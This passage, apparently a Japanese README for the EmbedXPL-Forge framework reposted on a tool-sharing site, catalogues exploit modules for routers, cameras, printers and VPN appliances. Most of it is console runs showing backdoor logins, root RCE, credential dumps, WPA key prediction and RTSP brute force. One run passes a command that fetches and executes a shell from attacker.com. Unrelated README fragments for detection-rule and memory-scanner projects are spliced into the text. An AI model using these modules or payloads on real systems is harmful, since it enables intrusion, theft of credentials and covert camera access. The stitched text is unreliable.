exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run

# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication

バックドア / 工場出荷時パスワードのカバレッジ

レガシーおよびモダンなSOHOルーター全体にわたる、工場出荷時パスワード、ハードコードされたバックドア、デフォルトWPAキー生成アルゴリズム、DNSハイジャックCSRFベクターを標的とする27以上のエクスプロイトモジュール。主な例:```

EasyBox (Arcadyan) — WPA2 default key from MAC (factory algorithm)

exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b

Seagate NAS — Ghost PHP unauthenticated RCE (CVE-2014-8684)

exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l

Alpha Networks / ZTE — web_shell_cmd.gch backdoor

exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...

RuggedCom — factory backdoor password generator (FD 2012/Apr/277)

exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b

Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE

exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...

TRENDnet camera — unauthenticated MJPEG live stream

exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi

Netgear WG602 — hardcoded backdoor credentials

exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/

root@kitploit:~
**全27の新しいベンダー/モジュール:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · さらに belkin、netgear、trendnet のギャップ補完。


## モジュール構造```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

拡張モジュールカバレッジ

このセクションでは、ISPデバイスモジュール、バックドア/工場出荷時パスワードエクスプロイト、RTSPクライアントフレームワーク、OSINTツール、および専門的なセキュリティモジュールについて説明します。


ISPデバイスセキュリティモジュール

インターネットプロバイダーが一般的に展開するISP発行のCPEおよびIPカメラ(SercommベースのONT、GPON CPE、ISPブランドデバイス)を対象としたエクスプロイトとスキャナー。

使用例:```bash

ZTE ZXHN H298A Credential Dump

embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run

Expected output (vulnerable device):

[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000&ETHCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC

Sample output (not vulnerable):

[-] No credential fields found in response [-] Target may be patched or different firmware

root@kitploit:~
## 検出

- **YARAルール**: 悪意のあるバイナリやスクリプトを識別するためのカスタムYARAルール。
- **Sigmaルール**: 疑わしいアクティビティを検出するためのSigmaルール。
- **IOC**: 侵害指標(IPアドレス、ドメイン、ハッシュ)。
- **ハンティングクエリ**: 脅威ハンティングのためのクエリ(例: Splunk、Elastic)。

## 使用方法

1. このリポジトリをクローンします。
2. 関連するディレクトリを参照して、IOC、YARAルール、Sigmaルール、またはハンティングクエリを見つけます。
3. これらのリソースをセキュリティツールやプラットフォームに統合します。

## コントリビューション

コントリビューションを歓迎します!プルリクエストを送信するか、イシューを開いてください。

## ライセンス

このプロジェクトはMITライセンスの下でライセンスされています - 詳細については[LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE)ファイルを参照してください。```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run

# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)

検出

  • YARAルール — メモリ内の既知のマルウェアシグネチャをスキャンします。
  • ヒューリスティック分析 — 疑わしい動作パターンを特定します。
  • IOCマッチング — 侵害指標を既知の脅威データベースと照合します。
  • エントロピー分析 — 暗号化またはパックされたペイロードを検出します。

出力

  • コンソール出力 — スキャン結果のリアルタイム表示。
  • JSONレポート — 自動処理のための構造化出力。
  • ダンプファイル — フォレンジック分析のために抽出された疑わしいメモリ領域。

要件

  • Python 3.8以上
  • 管理者/root権限(メモリ読み取り用)
  • 対応OS: Linux、Windows、macOS

インストール

root@kitploit:~
git clone https://github.com/example/memscan.git
cd memscan
pip install -r requirements.txt

使用方法

root@kitploit:~
python memscan.py --pid 1234 --output report.json

免責事項

このツールは、権限のあるシステムでの合法的なセキュリティ調査およびフォレンジック分析のみを目的としています。ユーザーは、適用されるすべての法律および規制を遵守する責任を負います。```bash

Brazilian ISP multi-vendor scanner

embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run

root@kitploit:~
**注記:** CVE-2026-34474 は ZTE ZXHN H298A 1.1 および H108N 2.6 に影響します。認証は不要です。
**法的注意:** 所有しているデバイス、またはテストの書面による許可を得ているデバイスでのみ使用してください。

---

### レガシールーターバックドアおよび工場出荷時パスワードモジュール

EmbedXPL-Forge モジュール形式で実装された、古典的なルーターバックドアおよび工場出荷時パスワードのエクスプロイト。

| デバイス | CVE / 参考情報 | モジュールパス | 攻撃タイプ |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | 管理者パスワードリセット (未認証) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | WPA デフォルトキージェネレーター |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | masterCGI 未認証 RCE |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | tmUnblock.cgi RCE |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | open-telnetd 未認証 RCE |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | 認証バイパス |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | VoIP 設定ハイジャック |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | CRLF インジェクション / DoS |

**使用例:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run

# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default

# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run

# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P

注記: Moon worm(Linksys E-Series CVE)は、ファームウェア < 2.0.08 において認証なしで tmUnblock.cgi を悪用します。 法的注意: 所有しているデバイス、またはテストの書面による許可を得たデバイスでのみ使用してください。


RTSP Client Framework

すべての RTSP カメラ攻撃モジュールの基盤として使用される、純粋な Python 製 RFC 2326 RTSP/1.0 クライアントライブラリ。

モジュール: network/rtsp/rtsp_client.py - RTSPClient クラス

機能:

  • OPTIONS、DESCRIBE、SETUP、PLAY、TEARDOWN メソッド
  • Basic および Digest 認証(RFC 2617)
  • SDP セッション記述のパース
  • 自動再接続およびソケットタイムアウト管理
  • コンテキストマネージャ対応(with RTSPClient(...) as client)

使用例:```bash

Direct Python API usage

python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "

root@kitploit:~
## 検出

### 検出ルール

- 検出ルールは `rules/` ディレクトリにあります。
- 各ルールは、検出ロジックを定義する YAML ファイルです。
- ルールは、疑わしいアクティビティのパターンを識別するために使用されます。

### 検出の仕組み

1. ログは、設定されたソースから収集されます。
2. 各ログエントリは、検出ルールに対して評価されます。
3. ルールに一致したエントリは、アラートをトリガーします。
4. アラートは、設定された出力に送信されます。

### ルールの例

```yaml
title: Suspicious Process Execution
description: Detects execution of suspicious processes
level: high
detection:
  selection:
    EventID: 1
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
  condition: selection

アラートレベル

レベル説明
critical即時の対応が必要
high早急な調査が必要
medium調査が必要
low情報提供目的

検出ソース

  • Windows Event Logs
  • Sysmon
  • Linux auditd
  • ネットワークトラフィック
  • アプリケーションログ```bash

RTSP credential brute force (uses RTSPClient internally)

embedxpl use network/rtsp/rtsp_cred_brute embedxpl (RTSPBrute) > set rhost 192.168.1.10 embedxpl (RTSPBrute) > set rport 554 embedxpl (RTSPBrute) > set path /live/ch0 embedxpl (RTSPBrute) > run

Expected output:

[+] Trying admin:admin ... 401 Unauthorized [+] Trying admin:12345 ... 200 OK [!] VALID: admin:12345

root@kitploit:~
**要件:** Python 3.8+、外部依存関係なし。

---

### FCC-ID 検索モジュール

ハードウェアラベルに記載された FCC ID コードからデバイスの詳細を取得するため、FCC Equipment Authorization データベースを照会する OSINT モジュール。

**モジュール:** `osint/fcc_id_lookup.py`

**使用例:**```bash
embedxpl use osint/fcc_id_lookup
embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U"
embedxpl (FCCLookup) > run

# Expected output:
[+] FCC ID: PD5-WNR3500U
    Grantee: NETGEAR Inc.
    Product: WNR3500U Wireless-N Gigabit Router
    Frequency: 2.4GHz / 5GHz
    Authorization: OET-65C (mobile device)
    Test Lab: SGS
    Grant Date: 2009-11-18
    Internal Photos: [URL]
    External Photos: [URL]
    Test Reports: [URL]

ヒント:

  • FCC IDはデバイスのラベルに印刷されています(形式: GRANTEE_CODE-PRODUCT_CODE)
  • OEMハードウェア、ファームウェアのベース、またはサプライヤーチェーンの特定に使用します
  • osint/github_recon と組み合わせて、デバイスの公開ファームウェアリポジトリを探します

要件: インターネットアクセス、requests ライブラリ。


カメラURLジェネレーター

ベンダー、モデル、ファームウェアバージョンに基づいて、iSpyカメラデータベース形式を使用して既知のカメラストリームURLを生成します。

モジュール: osint/camera_url_generator.py

使用例:```bash embedxpl use osint/camera_url_generator embedxpl (CameraURL) > set vendor "hikvision" embedxpl (CameraURL) > set model "DS-2CD2143G2" embedxpl (CameraURL) > run

Expected output:

[+] Known stream URLs for Hikvision DS-2CD2143G2: [1] rtsp://:554/Streaming/Channels/101 [2] rtsp://:554/Streaming/Channels/102 [3] rtsp://:554/h264/ch1/main/av_stream [4] http:///ISAPI/Streaming/channels/1/picture [5] http:///onvif/device_service

Generate wordlist for RTSP brute force

embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt embedxpl (CameraURL) > run

root@kitploit:~
**ヒント:**
- `network/rtsp/rtsp_route_brute` と組み合わせてライブストリームを列挙する
- iSpy オープンカメラデータベースの300以上のカメラベンダーをサポート
- `set all_vendors true` を使用して既知のすべてのURLをダンプする

---

### 交通取締セキュリティモジュール

交通取締インフラ(料金所RSU、レーダーシステム、ANPRカメラ)を対象としたモジュール。

#### Kapsch TrafficCom RSU EFI Shell (CVE-2025-25734)

**モジュール:** `exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734`

**脆弱性:** 電子料金収受に使用されるKapsch路側機(RSU)は、UEFI Secure Bootの強制とBIOSパスワード保護を欠いており、物理攻撃者がEFI対話型シェルに侵入してファイルシステム全体にアクセスできる。

**影響:** 設定の抽出、TLS秘密鍵の窃取、インプラントの設置、料金取締のバイパス。

**使用例:**```bash
# Network reachability check (management interface detection)
embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734
embedxpl (KapschRSU) > set rhost 10.0.0.50
embedxpl (KapschRSU) > check

# Expected output (management interface exposed):
[+] Kapsch RSU management interface detected on 10.0.0.50:80
[!] Banner indicator: 'TrafficCom RSU' found
[*] NOTE: Full exploitation requires physical on-site access

# Assessment report
embedxpl (KapschRSU) > run
# Outputs: attack steps, mitigations checklist, risk level

物理的悪用手順:

  1. RSU筐体を開ける(改ざん検知ネジ)
  2. USBキーボードとモニターをRSUメインボードに接続
  3. 電源を再投入 - POST中にESC/DEL/F2を押す
  4. ナビゲート: Boot Manager -> EFI Internal Shell
  5. ファイルシステムにアクセス: fs0:\efi\config\ で設定を抽出

要件: RSUハードウェアへの物理的アクセス(モニター + USBキーボード)、またはバナー検出のための管理インターフェースへのネットワークアクセス。 法的注意: 料金徴収インフラへの不正アクセスは犯罪行為です。所有している、または評価に対する明示的な書面による許可を得ているユニットにのみ使用してください。


フレームワークアーキテクチャ (v3.1.0)

コンポーネントアーキテクチャ

フレームワークの完全なレイヤー表示: CLIレイヤー、コアエンジン(オーケストレーター、プロトコルクライアント、シェルエンジン)、インテリジェンスレイヤー(ML、OUI、CVE DB)、品質ゲート、およびカテゴリ別に整理された2800以上のモジュールアーセナル。

EmbedXPL-Forge Component Architecture v3.1.0

監査 & 悪用フロー

ターゲット入力からディスカバリ、フィンガープリンティング、モジュール選択、悪用、レポーティングまでのエンドツーエンドのデータフロー。

EmbedXPL-Forge Exploitation Flow v3.1.0

アーキテクチャ & 攻撃対象マップ

アクセスベクターごとのモジュールカバレッジを示す攻撃対象マップ。運用セキュリティ図のスタイル。 ソースファイルは docs/diagrams/architecture/ にあります。

モジュールアーキテクチャ概要

EmbedXPL-Forge Architecture Overview

APTグループ攻撃チェーン

APT Group Attack Chains

SOHOルーター攻撃対象

SOHO Router Attack Surface

TP-Link攻撃対象 (APT28/GRUキャンペーン)

TP-Link APT28 Attack Surface

MikroTik RouterOS攻撃対象

MikroTik Attack Surface

GPON ONT攻撃対象 (Huawei EG8145)

GPON ONT Attack Surface

要件

  • Python 3.8+
  • オプション: nmap(バイナリ) - 拡張ネットワークディスカバリとNSEスクリプト用
  • オプション: masscan - 高速RTSPディスカバリ用
  • オプション: gcc/clang - PolyExploit C/C++ランタイムコンパイル用
  • オプション: msfconsole - PolyRunner経由のMetasploit統合用

Python依存関係(自動インストール): requests、paramiko、pysnmp、pycryptodome、scapy、colorama、rich、python-nmap、aiohttp

NSE拡張 (pip install "embedxpl[nse]"): python-nmap(コアに既に含まれています)

完全なリスト: requirements.txt

法的免責事項

EmbedXPL-Forgeは、許可されたセキュリティテストおよび研究のみを目的としています。このツールは、所有している、またはテストに対する明示的な書面による許可を得ているシステムにのみ使用してください。コンピュータシステムへの不正アクセスは違法です。作者は誤用に対して一切の責任を負いません。

ライセンス

BSDライセンス — 詳細は LICENSE を参照してください。

連絡先

サポート / 一般的なお問い合わせ: [email protected] セキュリティ問題: SECURITY.md


André Henrique

GitHub@mrhenrike
X / Twitter@mrhenrike
LinkedInmrhenrike

União Geek

ウェブサイトuniaogeek.com.br
ブログuniaogeek.com.br/blog

ライセンス: BSD-3-Clause License - Copyright (c) 2026 União Geek 作成者: André Henrique (@mrhenrike) | União Geek

Leia em Português - Command coverage - Wiki

ツールをダウンロード
タイプカバレッジ説明
ルーター / GPON ONT / CPE580+ モジュールSOHO ルーター、エンタープライズゲートウェイ、GPON CPE/ONT (主要フォーカス)
IP カメラ / NVR / DVR60+ モジュールHikvision、Dahua、Axis、Reolink、Amcrest、Uniview、Tapo、Swann、ANNKE、Edimax、Intelbras、Grandstream、Foscam、Xiongmai OEM、MVPower、その他 20 以上
プリンター / MFP185+ モジュールHP、Canon、Lexmark、Xerox、Ricoh、Brother、Epson、Kyocera、Samsung、IPP/PJL/LPD/WSD/CUPS チェーン
NAS (ネットワークストレージ)20+ モジュールQNAP、Synology、D-Link NAS、Zyxel NAS
VPN / ファイアウォールアプライアンス / NGFW202 モジュールPalo Alto、Fortinet、Cisco ASA/FTD/FMC、Check Point、Juniper、SonicWall、Sophos、WatchGuard、Zyxel、F5 BIG-IP、Citrix/NetScaler、Ivanti、Pulse Secure、pfSense、OPNsense、Barracuda、Imperva、MikroTik、Huawei USG、Stormshield、Hillstone、Sangfor、H3C、Radware、Symantec ProxySG、Trend Micro TippingPoint、Trellix、Arista EOS、OpenVPN AS、Phoenix Contact mGuard、Siemens SCALANCE、Moxa EDR、VyOS、IPFire、Kerio、Cisco Meraki、Array Networks + OT/ICS プロトコルバイパスモジュール
L2/L3 スイッチ3 モジュールマネージドスイッチ (Cisco、D-Link、NETGEAR)
SOHO エッジ9 モジュールトラベルルーター、NAS、無線 AP
ICS / OT / 産業用35+ モジュールPLC、SCADA、Modbus、S7comm、EtherNet/IP、Universal Robots PolyScope 5
スマートホーム / 海事10+ モジュールeNet SMART HOME、OpenRemote IoT、Metis 海事 WIC/DFS
組み込み OS25+ モジュールRIOT OS、OpenWrt、VxWorks、QNX、wolfSSL デバイス、Tuya Arduino SDK
コマンド説明
use <module>モジュールを選択
show options設定可能なオプションを表示
show infoモジュールのメタデータと参照情報を表示
show devicesサポートされているデバイスタイプを一覧表示
set <option> <value>オプションを設定
checkターゲットが脆弱かどうかを検証
runモジュールを実行
search <term>キーワードでモジュールを検索
discover [subnet] [--timing T0-T5] [--fresh]サブネットをスキャンし、ターゲットをフィンガープリントし、モジュールを提案
sessions list|show|delete|export|purgeホストごとの永続的なスキャン履歴を管理
apt再現可能な攻撃チェーンを持つ APT グループを一覧表示
apt show <group>攻撃チェーンの詳細(MITRE ATT&CK、CVE、モジュール)を表示
apt search <device|CVE>デバイスまたは CVE を標的とする APT グループを検索
apt run <group> [#]APT 攻撃チェーンを実行(すべてまたは特定の攻撃)
プロファイル遅延用途
T0paranoid — 300sIDS回避
T1sneaky — 15s静かな監査
T2polite — 2s影響最小
T3normal — 0.5sデフォルト
T4aggressive — 0.1s高速LANスキャン
T5insane — 0sCTF / ラボ専用
モードポートクラス / メソッド
rtsp554RTSPClient(host, port)
rtsps443/8443RTSPClient(host, port, use_tls=True)
http80/8080RTSPClient(host, port, tunnel_http=True)
https443/8443RTSPClient(host, port, use_tls=True, tunnel_http=True)
autoanyRTSPClient.from_scheme(host, port, "http")
デバイスCVEモジュールパス攻撃タイプ
TP-Link TL-SC3171 / SC4171 / SC4171GCVE-2013-2573exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573コマンドインジェクション(未認証)
TP-Link TL-SC3171 / SC3130CVE-2013-2581exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581未認証ファームウェアアップロード
D-Link DCS-932LCVE-2026-36983exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983光センサーRCE
D-Link DCS-932LCVE-2025-5573exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573管理パネルコマンドインジェクション
D-Link DCS-933LCVE-2026-2218exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218管理パネルコマンドインジェクション
ZTE ZXHN H267N / H268NCVE-2026-34473exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473サービス拒否
ZTE ZXHN H298A / H108NCVE-2026-34474exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474認証情報ダンプ(ETHCheat)
Intelbras IWRルーター-exploits/routers/intelbras/iwr_luci_rpc_rceLuCI RPC未認証RCE
マルチベンダーBR ISPスキャナー-scanners/specialized/br_isp_scannerアクティブディスカバリ + 脆弱性チェック
GitHubUniao-Geek
Instagram@uniaogeek